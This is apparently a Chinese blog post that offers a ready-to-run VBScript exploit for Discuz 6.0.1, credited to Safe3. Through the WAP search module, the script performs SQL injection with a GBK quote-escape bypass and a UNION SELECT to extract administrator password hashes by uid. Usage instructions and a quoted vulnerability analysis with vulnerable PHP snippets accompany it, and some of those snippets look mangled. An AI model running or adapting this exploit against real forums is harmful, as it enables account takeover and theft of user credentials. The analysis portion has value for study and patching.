discuz获取任意管理员密码漏洞利用工具vbs版

本打算考虑写个python版的，考虑大家的机器环境还是弄了个vbs版

也利于修改

以下是search.inc.php 文件漏洞利用代码VBS版

Dim strUrl,strSite,strPath,strUid

showB()

Set Args = Wscript.Arguments

If Args.Count <> 3 Then

ShowU()

Else

strSite=Args(0)

strPath=Args(1)

strUid=Args(2)

End If

strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit"

Set objXML = CreateObject("Microsoft.XMLHTTP")

objXML.Open "POST",strSite & strPath & "index.php", False

objXML.SetRequestHeader "Accept", "*/*"

objXML.SetRequestHeader "Accept-Language", "zh-cn"

objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"

objXML.SetRequestHeader "User-Agent", "wap"

objXML.send(strUrl)

wscript.echo(objXML.ResponseText)

Sub showB()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("Exploit discuz6.0.1")

.Echo("Code By Safe3")

.Echo("+--------------------------=====================------------------------------+")

End with

End Sub

Sub showU()

With Wscript

.Echo("+--------------------------=====================------------------------------+")

.Echo("用法:")

.Echo(" cscript "&.ScriptName&" site path uid")

.Echo("例子:")

.Echo(" cscript "&.ScriptName&" http://www.example.com/ /forum/ 1 >result.txt")

.Echo("+--------------------------=====================------------------------------+")

.Quit

End with

End Sub

获得的密码大家自己在result.txt中查找

以下漏洞分析来自冰封浪子

漏洞说明：Discuz 论坛系统 是一套采用php+mysql数据库方式运行,在其中发现了一个安全漏洞，成功利用此漏洞可以提取管理员的密码进入后台，取得管理员权限。

漏洞厂商：http://www.discuz.net/

漏洞解析：在Discuz的wap模块中的字符转码程序存在问题，在discuz的wap模块中，该编码转换类存在严重的问题。在Discuz中，wap是默认开启的，很容易被攻击者利用，这个问题存在与discuz所有版本中。

在discuz代码中存在多处可利用的地方，如:pm.inc.php/search.inc.php等，下面给出可疑代码片段：

pm.inc.php：

$floodctrl = $floodctrl * 2;

if($floodctrl && !$disablepostctrl && $timestamp - $lastpost < $floodctrl) {

wapmsg(’pm_flood_ctrl’);

}

if($formhash != formhash()) {

wapmsg(’wap_submit_invalid’);

}

$member = $db->fetch_first(”SELECT m.uid AS msgtoid, mf.ignorepm FROM {$tablepre}members m

LEFT JOIN {$tablepre}memberfields mf USING (uid)

WHERE username=’$msgto’”);

if(!$member) {

wapmsg(’pm_send_nonexistence’);

}

if(preg_match(”/(^{ALL}$|(,|^)\s*”.preg_quote($discuz_user, ‘/’).”\s*(,|$))/i”, $member['ignorepm'])) {

wapmsg(’pm_send_ignore’);

}

if(empty($subject) || empty($message)) {

wapmsg(’pm_sm_isnull’);

}

search.inc.php:

if(isset($searchid)) {

$page = max(1, intval($page));

$start_limit = $number = ($page - 1) * $waptpp;

$index = $db->fetch_first(”SELECT searchstring, keywords, threads, tids FROM {$tablepre}searchindex WHERE searchid=’$searchid’”);

if(!$index) {

wapmsg(’search_id_invalid1′);

}

$index['keywords'] = rawurlencode($index['keywords']);

$index['searchtype'] = preg_replace(”/^([a-z]+)\|.*/”, “http://www.cnblogs.com/Safe3/admin/file://0.0.0.1/“, $index['searchstring']);

$searchnum = $db->result_first(”SELECT COUNT(*) FROM {$tablepre}threads WHERE tid IN ($index[tids]) AND displayorder>=’0′”);

if($searchnum) {

echo “<p>$lang[search_result]<br />”;

$query = $db->query(”SELECT * FROM {$tablepre}threads WHERE tid IN ($index[tids]) AND displayorder>=’0′ ORDER BY dateline DESC LIMIT $start_limit, $waptpp”);

while($thread = $db->fetch_array($query)) {

echo “<a href=\”index.php?action=thread&tid=$thread[tid]\”>#”.++$number.” “.cutstr($thread['subject'], 24).”</a>($thread[views]/$thread[replies])<br />\n”;

}

echo wapmulti($searchnum, $waptpp, $page, “index.php?action=search&searchid=$searchid&do=submit&sid=$sid”);

echo ‘</p>’;

} else {

wapmsg(’search_invalid’);

}
